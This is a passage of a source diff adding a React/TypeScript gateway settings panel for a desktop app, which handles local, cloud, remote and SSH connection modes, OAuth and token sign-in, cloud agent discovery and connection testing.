+  remoteUrl: '',
+  cloudOrg: '',
+  sshHost: '',
+  sshUser: '',
+  sshPort: null,
+  sshKeyPath: '',
+  sshRemoteClawCodexPath: '',
+  sshRemoteProfile: ''
+}
+
+export function savedCloudConnectionUrl(config: Pick<GatewaySettingsState, 'mode' | 'remoteUrl'>): string {
+  return config.mode === 'cloud' ? config.remoteUrl.trim().replace(/\/+$/, '').toLowerCase() : ''
+}
+
+function ModeCard({
+  active,
+  description,
+  disabled,
+  hint,
+  icon: Icon,
+  onSelect,
+  title
+}: {
+  active: boolean
+  description: string
+  disabled?: boolean
+  hint?: string
+  icon: typeof Monitor
+  onSelect: () => void
+  title: string
+}) {
+  return (
+    <button
+      className={cn(
+        'flex h-full min-h-0 w-full flex-col p-3 text-left disabled:cursor-not-allowed disabled:opacity-50',
+        selectableCardClass({ active, prominent: true })
+      )}
+      disabled={disabled}
+      onClick={onSelect}
+      type="button"
+    >
+      <div className="flex items-center gap-1.5">
+        <Icon className="size-3.5 shrink-0 text-muted-foreground" />
+        <span className="min-w-0 text-[length:var(--conversation-text-font-size)] font-medium">{title}</span>
+        {hint ? (
+          <Tip label={hint}>
+            <span
+              className="grid size-3.5 shrink-0 cursor-help place-items-center text-(--ui-text-tertiary) hover:text-(--ui-text-secondary)"
+              onClick={event => event.stopPropagation()}
+            >
+              <HelpCircle className="size-3.5" />
+            </span>
+          </Tip>
+        ) : null}
+        {active ? <Check className="ml-auto size-3.5 shrink-0 text-primary" /> : null}
+      </div>
+      <p className="mt-1.5 flex-1 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+        {description}
+      </p>
+    </button>
+  )
+}
+
+function ScopeChip({ active, label, onSelect }: { active: boolean; label: string; onSelect: () => void }) {
+  return (
+    <button
+      className={cn(
+        'rounded-full border px-3 py-1 text-[length:var(--conversation-caption-font-size)] transition',
+        active
+          ? 'border-(--ui-stroke-secondary) bg-(--ui-bg-tertiary) text-(--ui-text-primary)'
+          : 'border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover)'
+      )}
+      onClick={onSelect}
+      type="button"
+    >
+      {label}
+    </button>
+  )
+}
+
+// `embedded` trims the page chrome for reuse inside the boot-failure recovery
+// card: the outer title/intro, the "Save for next restart" action, and the
+// Diagnostics row are redundant there (the card owns its header + a single
+// reconnect action), so only the connection controls render.
+export function GatewaySettings({ embedded = false }: { embedded?: boolean } = {}) {
+  const { t } = useI18n()
+  const g = t.settings.gateway
+  const [loading, setLoading] = useState(true)
+  const [saving, setSaving] = useState(false)
+  const [testing, setTesting] = useState(false)
+  const [signingIn, setSigningIn] = useState(false)
+  const [state, setState] = useState<GatewaySettingsState>(EMPTY_STATE)
+  const [remoteToken, setRemoteToken] = useState('')
+  const [lastTest, setLastTest] = useState<null | string>(null)
+  const [sshHostSuggestions, setSshHostSuggestions] = useState<string[]>([])
+  const [sshCustomHost, setSshCustomHost] = useState(false)
+  const sshResolveSeq = useRef(0)
+  const sshTestSeq = useRef(0)
+  const saveSeq = useRef(0)
+  const signingSeq = useRef(0)
+  const cloudConnectSeq = useRef(0)
+  const contextSeq = useRef(0)
+  const [connectedCloudUrl, setConnectedCloudUrl] = useState('')
+
+  const acceptSavedConfig = (config: GatewaySettingsState) => {
+    setState(config)
+    setConnectedCloudUrl(savedCloudConnectionUrl(config))
+  }
+
+  // --- ClawCodex Cloud (cloud mode) state ---
+  // One portal session powers discovery + the silent per-agent cascade. These
+  // track the cloud panel: whether we're signed in, the discovered agent list,
+  // and which agent is mid-connect.
+  const [cloudSignedIn, setCloudSignedIn] = useState(false)
+  const [cloudSigningIn, setCloudSigningIn] = useState(false)
+  const [cloudAgents, setCloudAgents] = useState<DesktopCloudAgent[]>([])
+  const [cloudDiscover, setCloudDiscover] = useState<CloudDiscoverStatus>('idle')
+  const [cloudConnectingId, setCloudConnectingId] = useState<null | string>(null)
+  // Multi-org users: when discovery returns needsOrgSelection, we hold the org
+  // list here and show a picker. `cloudOrg` is the chosen org slug/id (null =
+  // not yet chosen / single-org user).
+  const [cloudOrgs, setCloudOrgs] = useState<DesktopCloudOrg[]>([])
+  const [cloudOrg, setCloudOrgState] = useState<null | string>(null)
+  // Mirror the selected org into a ref so connect reads the CURRENT value, not a
+  // value captured in a stale render closure. discoverCloud() resolves the org
+  // asynchronously (from the NAS response) and a user can click Connect in the
+  // same render tick; without the ref, connectCloudAgent could persist a null
+  // org even though discovery just resolved one. Always set both together.
+  const cloudOrgRef = useRef<null | string>(null)
+
+  const setCloudOrg = (value: null | string) => {
+    cloudOrgRef.current = value
+    setCloudOrgState(value)
+  }
+
+  // Connection scope: null = the global/default connection (the original
+  // behavior); a profile name = that profile's per-profile remote override, so
+  // each profile can point at its own backend.
+  const [scope, setScope] = useState<null | string>(null)
+  const profiles = useStore($profiles)
+
+  useEffect(() => {
+    void refreshActiveProfile()
+  }, [])
+
+  // Auth-mode probe: as the user types a remote URL we ask the gateway (via
+  // its public /api/status) whether it gates with OAuth or a static session
+  // token, so we can show the right control (login button vs token box).
+  const [probeStatus, setProbeStatus] = useState<ProbeStatus>('idle')
+  const [probe, setProbe] = useState<DesktopConnectionProbeResult | null>(null)
+  const probeSeq = useRef(0)
+
+  useEffect(() => {
+    let cancelled = false
+    const desktop = window.clawcodexDesktop
+
+    if (!desktop?.getConnectionConfig) {
+      setLoading(false)
+
+      return () => void (cancelled = true)
+    }
+
+    setLoading(true)
+    // Clear scope-local entry state so a token from one scope can't leak into
+    // the next when switching profiles.
+    setRemoteToken('')
+    setLastTest(null)
+
+    desktop
+      .getConnectionConfig(scope)
+      .then(config => {
+        if (cancelled) {
+          return
+        }
+
+        acceptSavedConfig(config)
+      })
+      .catch(err => notifyError(err, g.failedLoad))
+      .finally(() => {
+        if (!cancelled) {
+          setLoading(false)
+        }
+      })
+
+    return () => void (cancelled = true)
+    // eslint-disable-next-line react-hooks/exhaustive-deps -- reload on scope change only; copy is stable
+  }, [scope])
+
+  // Debounced probe of the entered remote URL. Only runs in remote mode with a
+  // syntactically plausible URL. The probe result drives whether we render the
+  // OAuth login button or the session-token entry box. The effective auth mode
+  // prefers a fresh probe result over the saved value.
+  const trimmedUrl = coerceRemoteUrlScheme(state.remoteUrl)
+
+  // The dashboardUrl of the currently-connected cloud instance (the saved
+  // cloud connection's remoteUrl), normalized for comparison against each
+  // discovered agent's dashboardUrl so we can highlight the active one and hide
+  // its Connect button. Empty unless the saved connection is a cloud one.
+  // The saved cloud URL was stored via the main-side normalizeRemoteBaseUrl
+  // (which lowercases the host through URL.toString()), but a discovered agent's
+  // dashboardUrl arrives raw from NAS — so normalize both sides the same way
+  // (trim, drop trailing slash, lowercase) or a host-casing difference would
+  // silently break the connected-highlight.
+  const normalizeCloudUrl = (url: string) => url.trim().replace(/\/+$/, '').toLowerCase()
+
+  const isConnectedAgent = (agent: DesktopCloudAgent) =>
+    Boolean(connectedCloudUrl && agent.dashboardUrl && normalizeCloudUrl(agent.dashboardUrl) === connectedCloudUrl)
+
+  useEffect(() => {
+    if (state.mode !== 'remote' || !trimmedUrl || !/^https?:\/\//i.test(trimmedUrl)) {
+      setProbeStatus('idle')
+      setProbe(null)
+
+      return
+    }
+
+    const desktop = window.clawcodexDesktop
+
+    if (!desktop?.probeConnectionConfig) {
+      return
+    }
+
+    const seq = ++probeSeq.current
+    setProbeStatus('probing')
+
+    const timer = setTimeout(() => {
+      desktop
+        .probeConnectionConfig(trimmedUrl)
+        .then(result => {
+          if (seq !== probeSeq.current) {
+            return
+          }
+
+          setProbe(result)
+          setProbeStatus(result.reachable ? 'done' : 'error')
+        })
+        .catch(() => {
+          if (seq !== probeSeq.current) {
+            return
+          }
+
+          setProbe(null)
+          setProbeStatus('error')
+        })
+    }, 500)
+
+    return () => clearTimeout(timer)
+  }, [state.mode, trimmedUrl])
+
+  // Effective auth mode: a reachable probe wins; otherwise fall back to the
+  // saved config's mode so a re-open of settings doesn't flicker.
+  const authMode: AuthMode = useMemo(() => {
+    if (probeStatus === 'done' && probe && probe.authMode !== 'unknown') {
+      return probe.authMode
+    }
+
+    return state.remoteAuthMode
+  }, [probe, probeStatus, state.remoteAuthMode])
+
+  // Whether we actually KNOW how this gateway authenticates yet. Until we do,
+  // neither the OAuth button nor the session-token box should render —
+  // `authMode` defaults to 'token', so without this gate the token box flashes
+  // for every gateway (including OAuth ones) during the idle/probing window
+  // before the first probe lands. The scheme is known when either:
+  //   * the live probe finished (probeStatus 'done'), or
+  //   * we're idle but showing a previously-saved remote config (re-opening
+  //     settings for a gateway already signed-in or with a saved token), so
+  //     its control appears immediately with no flicker.
+  // While probing (or after a probe error), the scheme is unknown and we show
+  // the probe status row instead of a control.
+  const hasSavedRemote = state.remoteTokenSet || state.remoteOauthConnected
+
+  const authResolved = useMemo(() => {
+    if (probeStatus === 'done') {
+      return true
+    }
+
+    return probeStatus === 'idle' && hasSavedRemote
+  }, [probeStatus, hasSavedRemote])
+
+  const providerLabel = useMemo(() => {
+    const providers: DesktopAuthProvider[] = probe?.providers ?? []
+
+    if (providers.length === 1) {
+      return providers[0].displayName || providers[0].name
+    }
+
+    if (providers.length > 1) {
+      return providers.map(p => p.displayName || p.name).join(' / ')
+    }
+
+    return t.boot.failure.identityProvider
+  }, [probe, t.boot.failure.identityProvider])
+
+  // A username/password gateway authenticates through a credential form on the
+  // gateway's /login page (POST /auth/password-login) rather than an OAuth
+  // redirect. Everything downstream — the session cookie, the ws-ticket mint,
+  // the persistent partition — is identical, so the desktop drives it through
+  // the same sign-in window; only the button copy changes. We treat the
+  // gateway as password-style only when EVERY advertised provider supports
+  // password, so a mixed deployment keeps the generic OAuth copy.
+  const isPasswordProvider = useMemo(() => {
+    const providers: DesktopAuthProvider[] = probe?.providers ?? []
+
+    return providers.length > 0 && providers.every(p => p.supportsPassword)
+  }, [probe])
+
+  // The 'default' profile uses the global ("All profiles") connection, so the
+  // per-profile scopes are the named, non-default profiles.
+  const namedProfiles = useMemo(() => profiles.filter(profile => profile.name !== 'default'), [profiles])
+
+  useEffect(() => {
+    // One-directional: a saved host that isn't in the suggestions must render
+    // the free-text input (rehydration). Never force custom OFF here — that
+    // instantly snapped the just-clicked-Custom (empty-host) input back to the
+    // dropdown, making a raw-IP host impossible to type. The way back to the
+    // dropdown is the input's onBlur (empty host + suggestions).
+    if (state.sshHost && !sshHostSuggestions.includes(state.sshHost)) {
+      setSshCustomHost(true)
+    }
+  }, [state.sshHost, sshHostSuggestions])
+
+  useEffect(() => {
+    if (state.mode !== 'ssh' || !window.clawcodexDesktop?.sshConfigHosts) {
+      return
+    }
+
+    let cancelled = false
+    void window.clawcodexDesktop
+      .sshConfigHosts()
+      .then(result => {
+        if (!cancelled) {
+          setSshHostSuggestions(result.hosts)
+        }
+      })
+      .catch(() => {
+        if (!cancelled) {
+          setSshHostSuggestions([])
+        }
+      })
+
+    return () => void (cancelled = true)
+  }, [state.mode])
+
+  // eslint-disable-next-line no-restricted-syntax -- monotonic request-sequence counters, not an atom mirror
+  useEffect(() => {
+    contextSeq.current += 1
+    sshTestSeq.current += 1
+    saveSeq.current += 1
+    signingSeq.current += 1
+    cloudConnectSeq.current += 1
+    setLastTest(null)
+  }, [
+    scope,
+    state.mode,
+    state.sshHost,
+    state.sshUser,
+    state.sshPort,
+    state.sshKeyPath,
+    state.sshRemoteClawCodexPath,
+    state.sshRemoteProfile
+  ])
+
+  const oauthConnected = state.remoteOauthConnected
+
+  const canUseRemote = useMemo(() => {
+    if (!trimmedUrl) {
+      return false
+    }
+
+    if (authMode === 'oauth') {
+      return oauthConnected
+    }
+
+    return Boolean(remoteToken.trim()) || state.remoteTokenSet
+  }, [authMode, oauthConnected, remoteToken, state.remoteTokenSet, trimmedUrl])
+
+  const payload = () => ({
+    mode: state.mode,
+    profile: scope ?? undefined,
+    remoteAuthMode: authMode,
+    remoteToken: authMode === 'token' ? remoteToken.trim() || undefined : undefined,
+    remoteUrl: trimmedUrl,
+    sshHost: state.sshHost.trim(),
+    sshUser: state.sshUser.trim() || undefined,
+    sshPort: state.sshPort,
+    sshKeyPath: state.sshKeyPath.trim() || undefined,
+    sshRemoteClawCodexPath: state.sshRemoteClawCodexPath.trim(),
+    // Preserve an intentional blank so an existing remote-profile mapping can
+    // be cleared instead of being mistaken for an omitted field.
+    sshRemoteProfile: state.sshRemoteProfile.trim()
+  })
+
+  const save = async (apply: boolean) => {
+    const seq = ++saveSeq.current
+
+    if (state.mode === 'remote' && !canUseRemote) {
+      notify({
+        kind: 'warning',
+        title: g.incompleteTitle,
+        message: authMode === 'oauth' ? g.incompleteSignIn : g.incompleteToken
+      })
+
+      return
+    }
+
+    setSaving(true)
+
+    try {
+      const next = apply
+        ? await window.clawcodexDesktop.applyConnectionConfig(payload())
+        : await window.clawcodexDesktop.saveConnectionConfig(payload())
+
+      if (seq !== saveSeq.current) {
+        return
+      }
+
+      acceptSavedConfig(next)
+      setRemoteToken('')
+      notify({
+        kind: 'success',
+        title: apply ? g.restartingTitle : g.savedTitle,
+        message: apply ? g.restartingMessage : g.savedMessage
+      })
+    } catch (err) {
+      if (seq !== saveSeq.current) {
+        return
+      }
+
+      const sshError = err && typeof err === 'object' && 'sshError' in err ? String(err.sshError) : ''
+
+      const errors = {
+        'auth-failed': g.sshErrAuth,
+        'clawcodex-not-found': g.sshErrNotInstalled,
+        'host-key-changed': g.sshErrHostKey,
+        timeout: g.sshErrTimeout,
+        unreachable: g.sshErrUnreachable,
+        'unsupported-platform': g.sshErrPlatform,
+        'update-required': g.sshErrUpdateRequired
+      }
+
+      if (state.mode === 'ssh' && sshError) {
+        notify({
+          kind: 'error',
+          title: apply ? g.applyFailed : g.saveFailed,
+          message: (errors as Record<string, string>)[sshError] || g.sshErrUnknown
+        })
+      } else {
+        notifyError(err, apply ? g.applyFailed : g.saveFailed)
+      }
+    } finally {
+      if (seq === saveSeq.current) {
+        setSaving(false)
+      }
+    }
+  }
+
+  // OAuth sign-in: persist the URL + oauth mode first (so the saved config has
+  // the URL the login window needs), then open the gateway login window and
+  // refresh the connection status from the saved config once it completes.
+  const signIn = async () => {
+    const seq = ++signingSeq.current
+
+    if (!trimmedUrl) {
+      notify({ kind: 'warning', title: g.incompleteTitle, message: g.enterUrlFirst })
+
+      return
+    }
+
+    setSigningIn(true)
+
+    try {
+      // Save (don't apply/restart) so the login window has a URL to use and the
+      // oauth mode is persisted, without yet flipping the live connection.
+      const saved = await window.clawcodexDesktop.saveConnectionConfig({
+        mode: state.mode,
+        profile: scope ?? undefined,
+        remoteAuthMode: 'oauth',
+        remoteUrl: trimmedUrl
+      })
+
+      if (seq !== signingSeq.current) {
+        return
+      }
+
+      acceptSavedConfig(saved)
+
+      const result = await window.clawcodexDesktop.oauthLoginConnectionConfig(trimmedUrl)
+
+      if (seq !== signingSeq.current) {
+        return
+      }
+
+      if (result.connected) {
+        const refreshed = await window.clawcodexDesktop.getConnectionConfig(scope)
+        acceptSavedConfig(refreshed)
+        notify({ kind: 'success', title: g.signedIn, message: g.connectedTo(providerLabel) })
+      } else {
+        notify({
+          kind: 'warning',
+          title: t.boot.failure.signInIncompleteTitle,
+          message: t.boot.failure.signInIncompleteMessage
+        })
+      }
+    } catch (err) {
+      if (seq === signingSeq.current) {
+        notifyError(err, g.signInFailed)
+      }
+    } finally {
+      if (seq === signingSeq.current) {
+        setSigningIn(false)
+      }
+    }
+  }
+
+  const signOut = async () => {
+    const seq = ++signingSeq.current
+    setSigningIn(true)
+
+    try {
+      await window.clawcodexDesktop.oauthLogoutConnectionConfig(trimmedUrl || undefined)
+      const refreshed = await window.clawcodexDesktop.getConnectionConfig(scope)
+
+      if (seq !== signingSeq.current) {
+        return
+      }
+
+      acceptSavedConfig(refreshed)
+      notify({ kind: 'success', title: g.signedOutTitle, message: g.signedOutMessage })
+    } catch (err) {
+      if (seq === signingSeq.current) {
+        notifyError(err, g.signOutFailed)
+      }
+    } finally {
+      if (seq === signingSeq.current) {
+        setSigningIn(false)
+      }
+    }
+  }
+
+  // --- ClawCodex Cloud handlers ---
+
+  // Pull the discovered agent list over the shared portal session. Tolerant of
+  // a lapsed session: a needsCloudLogin error flips us back to signed-out.
+  // `org` scopes discovery for multi-org users; when discovery comes back with
+  // needsOrgSelection we surface the org list and show a picker instead.
+  const discoverCloud = async (org?: string) => {
+    const desktop = window.clawcodexDesktop
+    const seq = contextSeq.current
+
+    if (!desktop?.cloud) {
+      return
+    }
+
+    setCloudDiscover('loading')
+
+    try {
+      const result = await desktop.cloud.discover(org)
+
+      if (seq !== contextSeq.current) {
+        return
+      }
+
+      if ('needsOrgSelection' in result && result.needsOrgSelection) {
+        // Multi-org user with no org chosen yet: show the picker. Don't clear a
+        // previously-chosen org list on a refresh.
+        setCloudOrgs(result.orgs)
+        setCloudAgents([])
+        setCloudDiscover('done')
+
+        return
+      }
+
+      // Single org (or org now chosen): we have agents.
+      setCloudAgents('agents' in result ? result.agents : [])
+
+      // Record the org AUTHORITATIVELY from the response (NAS echoes the org the
+      // list was scoped to), falling back to the org we requested. This is what
+      // gets persisted on connect, so it must be set even on single-membership
+      // auto-resolve where no picker ran and no `org` arg was passed.
+      const resolvedOrgRef = 'org' in result && result.org ? (result.org.slug ?? result.org.id) : null
+
+      if (resolvedOrgRef) {
+        setCloudOrg(resolvedOrgRef)
+      } else if (org) {
+        setCloudOrg(org)
+      }
+
+      setCloudDiscover('done')
+    } catch (err) {
+      if (seq !== contextSeq.current) {
+        return
+      }
+
+      setCloudAgents([])
+      setCloudDiscover('error')
+
+      // A lapsed/absent portal session means we're effectively signed out.
+      if (err && typeof err === 'object' && 'needsCloudLogin' in err) {
+        setCloudSignedIn(false)
+      }
+
+      notifyError(err, g.cloudDiscoverFailed)
+    }
+  }
+
+  // User picked an org from the multi-org picker: remember it and re-run
+  // discovery scoped to it.
+  const selectCloudOrg = (org: DesktopCloudOrg) => {
+    const ref = org.slug ?? org.id
+    setCloudOrg(ref)
+    void discoverCloud(ref)
+  }
+
+  // "Change org": clear the selected org and re-discover with no org arg. A
+  // multi-org user gets NAS's 409 → the picker; a single-org user auto-resolves
+  // back to their one org. Also clear the agent list so the current org's
+  // agents don't linger under the picker while discovery re-runs.
+  const changeCloudOrg = () => {
+    setCloudOrg(null)
+    setCloudAgents([])
+    void discoverCloud()
+  }
+
+  // On entering cloud mode (or scope change), read the portal session status and
+  // auto-discover when already signed in, so the picker is populated on open.
+  useEffect(() => {
+    if (state.mode !== 'cloud') {
+      return
+    }
+
+    const desktop = window.clawcodexDesktop
+
+    if (!desktop?.cloud) {
+      return
+    }
+
+    let cancelled = false
+    desktop.cloud
+      .status()
+      .then(status => {
+        if (cancelled) {
+          return
+        }
+
+        setCloudSignedIn(status.signedIn)
+
+        if (status.signedIn) {
+          // Restore the persisted org (if any) so we reopen straight into that
+          // org's agent list instead of the picker; discoverCloud(org) also
+          // records it as the selected org. Empty → normal discovery (single-org
+          // resolves automatically; multi-org shows the picker).
+          const savedOrg = state.cloudOrg || ''
+
+          if (savedOrg) {
+            setCloudOrg(savedOrg)
+          }
+
+          void discoverCloud(savedOrg || undefined)
+        } else {
+          setCloudAgents([])
+          setCloudOrgs([])
+          setCloudOrg(null)
+          setCloudDiscover('idle')
+        }
+      })
+      .catch(() => {
+        if (!cancelled) {
+          setCloudSignedIn(false)
+        }
+      })
+
+    return () => void (cancelled = true)
+    // eslint-disable-next-line react-hooks/exhaustive-deps -- reload on mode/scope change only
+  }, [state.mode, scope])
+
+  const cloudSignIn = async () => {
+    const desktop = window.clawcodexDesktop
+    const seq = ++signingSeq.current
+
+    if (!desktop?.cloud) {
+      return
+    }
+
+    setCloudSigningIn(true)
+
+    try {
+      const result = await desktop.cloud.login()
+
+      if (seq !== signingSeq.current) {
+        return
+      }
+
+      setCloudSignedIn(result.signedIn)
+
+      if (result.signedIn) {
+        await discoverCloud()
+      }
+    } catch (err) {
+      if (seq === signingSeq.current) {
+        notifyError(err, g.cloudSignInFailed)
+      }
+    } finally {
+      if (seq === signingSeq.current) {
+        setCloudSigningIn(false)
+      }
+    }
+  }
+
+  const cloudSignOut = async () => {
+    const desktop = window.clawcodexDesktop
+    const seq = ++signingSeq.current
+
+    if (!desktop?.cloud) {
+      return
+    }
+
+    setCloudSigningIn(true)
+
+    try {
+      await desktop.cloud.logout()
+
+      if (seq !== signingSeq.current) {
+        return
+      }
+
+      setCloudSignedIn(false)
+      setCloudAgents([])
+      setCloudOrgs([])
+      setCloudOrg(null)
+      setCloudDiscover('idle')
+      notify({ kind: 'success', title: g.cloudSignedOutTitle, message: g.cloudSignedOutMessage })
+    } catch (err) {
+      if (seq === signingSeq.current) {
+        notifyError(err, g.signOutFailed)
+      }
+    } finally {
+      if (seq === signingSeq.current) {
+        setCloudSigningIn(false)
+      }
+    }
+  }
+
+  // Select a discovered agent: drive the silent per-agent cascade (no second
+  // prompt — the shared portal session auto-approves), then persist a cloud-mode
+  // connection pointed at its dashboardUrl and apply it (soft-reconnects in place).
+  const connectCloudAgent = async (agent: DesktopCloudAgent) => {
+    const seq = contextSeq.current
+
+    if (!agent.dashboardUrl) {
+      return
+    }
+
+    const desktop = window.clawcodexDesktop
+
+    if (!desktop?.cloud) {
+      return
+    }
+
+    setCloudConnectingId(agent.id)
+
+    try {
+      const result = await desktop.cloud.agentSignIn(agent.dashboardUrl)
+
+      if (seq !== contextSeq.current) {
+        return
+      }
+
+      if (!result.connected) {
+        notify({
+          kind: 'warning',
+          title: t.boot.failure.signInIncompleteTitle,
+          message: t.boot.failure.signInIncompleteMessage
+        })
+
+        return
+      }
+
+      // Persist a cloud-mode connection (remote-shaped, oauth) and soft-reconnect.
+      // Include the selected org so Settings reopens into the same org + instance.
+      // Read the REF (not the cloudOrg state) so a just-resolved org from
+      // discovery in this same render tick is captured, not a stale null.
+      const next = await desktop.applyConnectionConfig({
+        mode: 'cloud',
+        profile: scope ?? undefined,
+        remoteAuthMode: 'oauth',
+        remoteUrl: agent.dashboardUrl,
+        cloudOrg: cloudOrgRef.current ?? undefined
+      })
+
+      if (seq !== contextSeq.current) {
+        return
+      }
+
+      acceptSavedConfig(next)
+      notify({ kind: 'success', title: g.cloudConnectedTitle, message: g.cloudConnectedTo(agent.name) })
+    } catch (err) {
+      if (seq !== contextSeq.current) {
+        return
+      }
+
+      if (err && typeof err === 'object' && 'needsCloudLogin' in err) {
+        setCloudSignedIn(false)
+      }
+
+      notifyError(err, g.cloudConnectFailed)
+    } finally {
+      if (seq === contextSeq.current) {
+        setCloudConnectingId(null)
+      }
+    }
+  }
+
+  const resolveSshHost = async (host: string) => {
+    if (!host || !window.clawcodexDesktop?.sshResolveHost) {
+      return
+    }
+
+    const seq = ++sshResolveSeq.current
+
+    try {
+      const resolved = await window.clawcodexDesktop.sshResolveHost(host)
+
+      if (seq !== sshResolveSeq.current) {
+        return
+      }
+
+      setState(current => enrichSelectedSshHost(current, host, resolved))
+    } catch {
+      return
+    }
+  }
+
+  const selectHost = (value: string) => {
+    if (value === SSH_HOST_CUSTOM) {
+      setSshCustomHost(true)
+      setState(current => selectSshHost(current, ''))
+
+      return
+    }
+
+    setSshCustomHost(false)
+    setState(current => selectSshHost(current, value))
+    void resolveSshHost(value)
+  }
+
+  const testSsh = async () => {
+    const seq = ++sshTestSeq.current
+
+    if (!state.sshHost.trim()) {
+      notify({ kind: 'warning', title: g.incompleteTitle, message: g.sshIncompleteHost })
+
+      return
+    }
+
+    setTesting(true)
+    setLastTest(null)
+
+    try {
+      const result = await window.clawcodexDesktop.testConnectionConfig(payload())
+
+      if (seq !== sshTestSeq.current) {
+        return
+      }
+
+      if (!result.reachable) {
+        const errors = {
+          'auth-failed': g.sshErrAuth,
+          'clawcodex-not-found': g.sshErrNotInstalled,
+          'host-key-changed': g.sshErrHostKey,
+          timeout: g.sshErrTimeout,
+          unreachable: g.sshErrUnreachable,
+          'unsupported-platform': g.sshErrPlatform,
+          'update-required': g.sshErrUpdateRequired,
+          unknown: g.sshErrUnknown
+        }
+
+        throw new Error(errors[result.sshError || 'unknown'] || result.error || g.sshErrUnknown)
+      }
+
+      const message = g.sshReachable(result.host || state.sshHost, result.remotePlatform || '?')
+      setLastTest(message)
+      notify({ kind: 'success', title: g.reachableTitle, message })
+    } catch (err) {
+      if (seq === sshTestSeq.current) {
+        notifyError(err, g.testFailed)
+      }
+    } finally {
+      if (seq === sshTestSeq.current) {
+        setTesting(false)
+      }
+    }
+  }
+
+  const testRemote = async () => {
+    const seq = ++sshTestSeq.current
+
+    if (!canUseRemote) {
+      notify({
+        kind: 'warning',
+        title: g.incompleteTitle,
+        message: authMode === 'oauth' ? g.incompleteSignInTest : g.incompleteTokenTest
+      })
+
+      return
+    }
+
+    setTesting(true)
+    setLastTest(null)
+
+    try {
+      const result = await window.clawcodexDesktop.testConnectionConfig({
+        mode: 'remote',
+        profile: scope ?? undefined,
+        remoteAuthMode: authMode,
+        remoteToken: authMode === 'token' ? remoteToken.trim() || undefined : undefined,
+        remoteUrl: trimmedUrl
+      })
+
+      if (seq !== sshTestSeq.current) {
+        return
+      }
+
+      const message = g.connectedTo(result.baseUrl || trimmedUrl, result.version ?? undefined)
+      setLastTest(message)
+      notify({ kind: 'success', title: g.reachableTitle, message })
+    } catch (err) {
+      if (seq === sshTestSeq.current) {
+        notifyError(err, g.testFailed)
+      }
+    } finally {
+      if (seq === sshTestSeq.current) {
+        setTesting(false)
+      }
+    }
+  }
+
+  if (loading) {
+    return (
+      <SettingsSkeleton
+        sections={[
+          { heading: true, rows: 3 },
+          { heading: true, rows: 3 }
+        ]}
+      />
+    )
+  }
+
+  if (!window.clawcodexDesktop?.getConnectionConfig) {
+    return <EmptyState description={g.unavailableDesc} title={g.unavailableTitle} />
+  }
+
+  return (
+    <SettingsContent bare={embedded}>
+      {embedded ? null : (
+        <div className="mb-5">
+          <div className="flex items-center gap-2 text-[length:var(--conversation-text-font-size)] font-medium">
+            <Globe className="size-4 text-muted-foreground" />
+            {g.title}
+            {state.envOverride ? <Pill tone="primary">{g.envOverride}</Pill> : null}
+          </div>
+          <p className="mt-2 max-w-2xl text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+            {g.intro}
+          </p>
+        </div>
+      )}
+
+      {namedProfiles.length > 0 ? (
+        <div className="mb-5 grid gap-2">
+          <div className="text-[length:var(--conversation-caption-font-size)] font-medium text-(--ui-text-secondary)">
+            {g.appliesTo}
+          </div>
+          <div className="flex flex-wrap gap-1.5">
+            <ScopeChip active={scope === null} label={g.allProfiles} onSelect={() => setScope(null)} />
+            {namedProfiles.map(profile => (
+              <ScopeChip
+                active={scope === profile.name}
+                key={profile.name}
+                label={profile.name}
+                onSelect={() => setScope(profile.name)}
+              />
+            ))}
+          </div>
+          <p className="text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+            {scope === null ? g.defaultConnection : g.profileConnection(scope)}
+          </p>
+        </div>
+      ) : null}
+
+      {state.envOverride ? (
+        <div className="mb-5 flex items-start gap-2 rounded-xl border border-destructive/30 bg-destructive/10 px-3 py-2.5 text-[length:var(--conversation-caption-font-size)] text-destructive">
+          <AlertCircle className="mt-0.5 size-4 shrink-0" />
+          <div>
+            <div className="font-medium">{g.envOverrideTitle}</div>
+            <div className="mt-1 leading-5">{g.envOverrideDesc}</div>
+          </div>
+        </div>
+      ) : null}
+
+      <div className="mb-5 grid gap-2">
+        <div className="text-[length:var(--conversation-caption-font-size)] font-medium text-(--ui-text-secondary)">
+          {g.modeTitle}
+        </div>
+        <div className="grid auto-rows-fr grid-cols-1 gap-2 sm:grid-cols-2 min-[72rem]:grid-cols-4">
+          <ModeCard
+            active={state.mode === 'local'}
+            description={scope === null ? g.localDesc : g.inheritDesc}
+            disabled={state.envOverride}
+            icon={Monitor}
+            onSelect={() => setState(current => ({ ...current, mode: 'local' }))}
+            title={scope === null ? g.localTitle : g.inheritTitle}
+          />
+          <ModeCard
+            active={state.mode === 'cloud'}
+            description={g.cloudDesc}
+            disabled={state.envOverride}
+            icon={Cloud}
+            onSelect={() => setState(current => ({ ...current, mode: 'cloud' }))}
+            title={g.cloudTitle}
+          />
+          <ModeCard
+            active={state.mode === 'remote'}
+            description={g.remoteDesc}
+            disabled={state.envOverride}
+            hint={g.remoteAuthHint}
+            icon={Globe}
+            onSelect={() => setState(current => ({ ...current, mode: 'remote' }))}
+            title={g.remoteTitle}
+          />
+          <ModeCard
+            active={state.mode === 'ssh'}
+            description={g.sshDesc}
+            disabled={state.envOverride}
+            hint={g.sshTrustHint}
+            icon={Terminal}
+            onSelect={() => setState(current => ({ ...current, mode: 'ssh' }))}
+            title={g.sshTitle}
+          />
+        </div>
+      </div>
+
+      {/* ClawCodex Cloud panel: one portal sign-in, then a discovered-agent picker
+          whose selection drives the silent per-agent cascade + a cloud
+          connection. Replaces the URL/token form while in cloud mode. */}
+      {state.mode === 'cloud' && !state.envOverride ? (
+        <div className="mt-5 grid gap-1">
+          <ListRow
+            action={
+              cloudSignedIn ? (
+                <div className="flex items-center gap-2">
+                  <Pill tone="primary">
+                    <Check className="size-3" /> {g.cloudSignedIn}
+                  </Pill>
+                  <Button disabled={cloudSigningIn} onClick={() => void cloudSignOut()} variant="outline">
+                    {cloudSigningIn ? <Loader2 className="animate-spin" /> : null}
+                    {g.signOut}
+                  </Button>
+                </div>
+              ) : (
+                <Button disabled={cloudSigningIn} onClick={() => void cloudSignIn()}>
+                  {cloudSigningIn ? <Loader2 className="animate-spin" /> : <LogIn />}
+                  {g.cloudSignIn}
+                </Button>
+              )
+            }
